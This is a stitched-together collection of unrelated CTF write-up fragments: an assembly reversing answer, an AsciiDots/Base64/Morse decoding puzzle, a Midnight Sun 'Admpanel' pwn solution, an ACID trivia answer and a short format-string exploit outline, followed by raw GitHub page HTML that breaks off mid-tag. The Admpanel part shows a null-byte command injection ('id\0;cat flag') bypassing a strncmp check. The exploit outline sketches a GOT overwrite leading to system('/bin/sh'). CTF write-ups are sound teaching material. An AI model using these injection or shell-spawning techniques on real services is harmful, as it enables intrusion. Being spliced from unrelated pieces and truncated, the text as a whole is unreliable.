-20[rbp] jl .L16 mov eax, DWORD PTR -4[rbp].L11: pop rbp .cfi_def_cfa 7, 8 ret .cfi_endproc.LFE9: .size func_3, .-func_3 .ident "GCC: (Debian 9.2.1-22) 9.2.1 20200104" .section .note.GNU-stack,"",@progbits``` ## Solution If we quickly read the main function, we see that computations are performed, saved into `-12[rbp]` and then the function returns 0. The value in `-12[rbp]` is what we're looking for. Because I'm lazy, instead of reversing the code I just compile it and execute it. ```bashgcc -c plain_jane.s -o plain_jane.ogcc plain_jane.o -o plain_jane``` Then I use `gdb` to read the value. ![plain_jane](../images/plain_jane.png) Flag: `28623`
This is some really nice ASCII-art, but what are the numbers around the edge? We can see that the numbers and characters probably are hexadecimal. That is because they are numbers between 0-9 and letters ranging from a to f, just like hexadecimal numbers. What can these numbers be? Maybe the numbers are characters (ASCII) written as hexadecimal? This is probably it, since no numbers are bigger than 7F. ASCII is characters represented as a byte. A byte can be written in many different ways, as 8 binary numbers, or as two hexadecimal numbers. The ASCII table spans from 0 to 7F, where each number is a character. If we copy all the numbers straight from the art, like in the snippet below, ... ```4c 53 41 74 4c 53 34 67 4c 69 34 74 4c 53 30 67 4c 53 30 74 4c 53 30 67 65 79 34 74 4c 53 41 75 49 43 38 6776 49 43 34 67 4c 69 34 75 49 43 30 74 4c 53 41 76 49 43 34 75 49 43 30 75 49 43 38 67 4c 53 30 74 49 43 34 75 4c 53 41 75 4c 5376 49 43 34 67 4c 69 34 75 49 43 30 74 4c 53 41 76 49 43 34 75 49 43 30 75 49 43 38 67 4c 53 30 74 49 43 34 75 4c 53 41 75 4c 5376 03 35 c4 47 14 96 c4 57 43 34 94 67 14 96 c4 57 03 34 94 57 14 96 c4 57 03 34 94 57 14 96 c4 76 43 35 c4 14 96 c4 76 03 35 c4``` ... and convert them from hexadecimal to characters, it simply returns gibberish. There is no flag in the result of the conversion, which we see below: `LSAtLS4gLi4tLS0gLS0tLS0gey4tLSAuIC8杶IC4gLi4uIC0tLSAvIC4uIC0uIC8gLS0tIC4uLSAuL卶IC4gLi4uIC0tLSAvIC4uIC0uIC8gLS0tIC4uLSAuL卶35ÄG��ÄWC4�g��ÄW34�W��ÄW34�W��ÄvC5Ä��Äv35Ä` There's probably more to this story than just copy pasta straight from the art. Lets try something completely different: Could this be the-most-popular-weekend-programming-language: AsciiDots? We can see .---$'4c 53 and so on in the first line of the ASCII-art. If we follow the -,|,\ and /, we end up at &-'d3 . Just like the esoteric language AsciiDots. If we run the ASCII-art as AsciiDots here, we get this output: ```4c 53 41 74 4c 53 34 67 4c 69 34 74 4c 53 30 67 4c 53 30 74 4c 53 30 67 65 79 34 74 4c 53 41 75 49 43 38 67 4c 53 34 674c 69 41 75 49 43 30 75 4c 69 41 75 49 43 30 75 4c 69 41 76 49 43 34 75 4c 69 41 74 4c 53 30 67 4c 53 30 67 4c 69 41 76 49 43 34 67 4c 69 34 75 49 43 30 74 4c 53 41 76 49 43 34 75 49 43 30 75 49 43 38 67 4c 53 30 74 49 43 34 75 4c 53 41 75 4c 53 34 67 4c 79 41 75 4c 53 34 75 49 43 34 75 49 43 34 75 4c 53 34 67 4c 69 42 39 49 41 3d 3d``` It seems like the AsciiDots web page may be a little unstable at times. The output should be in four rows, and there should only be pairs of hex numbers. If there are some groups of 3 or singles, then you should run it again. It's even better to use try it online-Asciidots. The hex values above might be the hex representation of ASCII. Now, if we convert it to the character (called the Unicode representation on Wikipedia), we get the following piece of text. You may also check this ASCII table: ```LSAtLS4gLi4tLS0gLS0tLS0gey4tLSAuIC8gLS4gLiAuIC0uLiAuIC0uLiAvIC4uLiAtLS0gLS0gLiAvIC4gLi4uIC0tLSAvIC4uIC0uIC8gLS0tIC4uLSAuLS4gLyAuLS4uIC4uIC4uLS4gLiB9IA==```Because of the padding == at the end this looks like a Base64 encoded string. Lets try to decode it: ```$ echo "LSAtLS4gLi4tLS0gLS0tLS0gey4tLSAuIC8gLS4gLiAuIC0uLiAuIC0uLiAvIC4uLiAtLS0gLS0gLiAvIC4gLi4uIC0tLSAvIC4uIC0uIC8gLS0tIC4uLSAuLS4gLyAuLS4uIC4uIC4uLS4gLiB9IA==" |base64 --decode- --. ..--- ----- {.-- . / -. . . -.. . -.. / ... --- -- . / . ... --- / .. -. / --- ..- .-. / .-.. .. ..-. . } %- --. ..--- ----- {.-- . / -. . . -.. . -.. / ... --- -- . / . ... --- / .. -. / --- ..- .-. / .-.. .. ..-. . }```Can this be the flag? Where's the TG20 part? It looks like morse code written as dashes and dots with / as space: ```- is T--. is G..--- is 2----- is 0``` Because { and } doesn't have a symbol in morse, we must translate the rest and rebuild the flag in the right format, TG20{...}, before we deliver. `TG20{WE NEEDED SOME ESO IN OUR LIFE}```funfact: `.-.-.- .-.-.- .-.-.-`is ... aka STOP STOP STOP in morse .
# Admpanel, Pwn, 58pts ## Problem ![Screen caption](admpanel0.png) ## Solution When we connect to ```admpanel-01.play.midnightsunctf.se 31337```, we can see simple admin panel: ```---=-=-=-=-=-=-=-=-=---- Admin panel --- [0] - Help- [1] - Authenticate- [2] - Execute command- [3] - Exit---=-=-=-=-=-=-=-=-=--- >``` We can't execute any command, first we need to login.We can find username and password (**admin** and **password**) saved in plaintext in source code: ![Screen caption](admpanel1.png) After login in, we can execute command, but there is restriction to only one command - `id`: ```---=-=-=-=-=-=-=-=-=---- Admin panel --- [0] - Help- [1] - Authenticate- [2] - Execute command- [3] - Exit---=-=-=-=-=-=-=-=-=--- > 1 Input username: admin Input password: password > 2 Command to execute: iduid=999(ctf) gid=999(ctf) groups=999(ctf) > 2 Command to execute: lsAny other commands than `id` have been disabled due to security concerns. >``` Let's take a look at the code: ![Screen caption](admpanel2.png) A line in code marked in green is where the condition is checked (is the command we pass in equals `id`). This is the place where vulnerability which allows us to solve this challenge is hidden. Let's take a look at `strncmp()` C function documentation first to figure out how we can abuse the code: ```$ man strncmp STRCMP(3) BSD Library Functions Manual STRCMP(3) NAME strcmp, strncmp -- compare strings LIBRARY Standard C Library (libc, -lc) SYNOPSIS #include <string.h> int strcmp(const char *s1, const char *s2); int strncmp(const char *s1, const char *s2, size_t n); DESCRIPTION The strcmp() and strncmp() functions lexicographically compare the null-terminated strings s1 and s2. The strncmp() function compares not more than n characters. Because strncmp() is designed for comparing strings rather than binary data, characters that appear after a `\0' character are not compared. RETURN VALUES The strcmp() and strncmp() functions return an integer greater than, equal to, or less than 0, according as the string s1 is greater than, equal to, or less than the string s2. The comparison is done using unsigned characters, so that `\200' is greater than `\0'. SEE ALSO bcmp(3), memcmp(3), strcasecmp(3), strcoll(3), strxfrm(3), wcscmp(3) STANDARDS The strcmp() and strncmp() functions conform to ISO/IEC 9899:1990 (``ISO C90''). BSD October 11, 2001 BSD(END) ``` As we can see, `strncmp()` compares strings as long as the character is not `\0` (NULL).So we can inject any command we want to execute by terminating `id` with NULL character and passing our command using any Bash chaining method: ```---=-=-=-=-=-=-=-=-=---- Admin panel --- [0] - Help- [1] - Authenticate- [2] - Execute command- [3] - Exit---=-=-=-=-=-=-=-=-=--- > 1 Input username: admin Input password: password > 2 Command to execute: id\0;ls -ltotal 24-rwxr-x--- 1 root ctf 14408 Apr 3 13:09 chall-r--r----- 1 root ctf 41 Apr 2 21:20 flag-rwxr-x--- 1 root ctf 71 Apr 2 21:20 redir.sh > 2 Command to execute: id\0;cat flagmidnight{n3v3r_4sk_b0bb_to_d0_S0m3TH4Ng} >``` And that's all - flag is **midnight{n3v3r_4sk_b0bb_to_d0_S0m3TH4Ng}**
# AUCTF 2020 – Web 1 * **Category:** trivia* **Points:** 50 ## Challenge > These properties are important to guarantee valid transactions within a database?> > NOTE: The flag is NOT in the standard auctf{} format> > flag format - list all properties in comma separated list 1, 2, 3,...> > Author: FireKing ## Solution ```Atomicity, Consistency, Isolation, Durability```
1. exit GOT -> main2. printf GOT -> ppppr3. printf(format) -> system('/bin/sh') [read more](http://note.taqini.space/#/ctf/HackZoneVIIICTF-2020/?id=pwn1)
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-writeups/TG:HACK 2020/pwn/The Biohacker's Herbarium Service at master · KEERRO/ctf-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="C176:76EE:1CC7DC41:1DA4E78F:64122141" data-pjax-transient="true"/><meta name="html-safe-nonce" content="25f5ee3ebf00f71f3f3488548106a443342edcd7714f1de40aded375e00bbcae" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDMTc2Ojc2RUU6MUNDN0RDNDE6MURBNEU3OEY6NjQxMjIxNDEiLCJ2aXNpdG9yX2lkIjoiMjAzMjY3NTIwMTAxMjA4MDk2MSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="a473b4b8c7c7115474288ae0eba36aec0cc721f78e3bac8247e28f511274f09e" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:162845937" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/TG:HACK 2020/pwn/The Biohacker's Herbarium Service at master · KEERRO/ctf-writeups" /><meta name="twitter:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta property="og:image:alt" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/TG:HACK 2020/pwn/The Biohacker's Herbarium Service at master · KEERRO/ctf-writeups" /><meta property="og:url" content="https://github.com/KEERRO/ctf-writeups" /><meta property="og:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/KEERRO/ctf-writeups git https://github.com/KEERRO/ctf-writeups.git"> <meta name="octolytics-dimension-user_id" content="46076094" /><meta name="octolytics-dimension-user_login" content="KEERRO" /><meta name="octolytics-dimension-repository_id" content="162845937" /><meta name="octolytics-dimension-repository_nwo" content="KEERRO/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162845937" /><meta name="octolytics-dimension-repository_network_root_nwo" content="KEERRO/ctf-writeups" /> <link rel="canonical" href="https://github.com/KEERRO/ctf-writeups/tree/master/TG:HACK%202020/pwn/The%20Biohacker's%20Herbarium%20Service" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 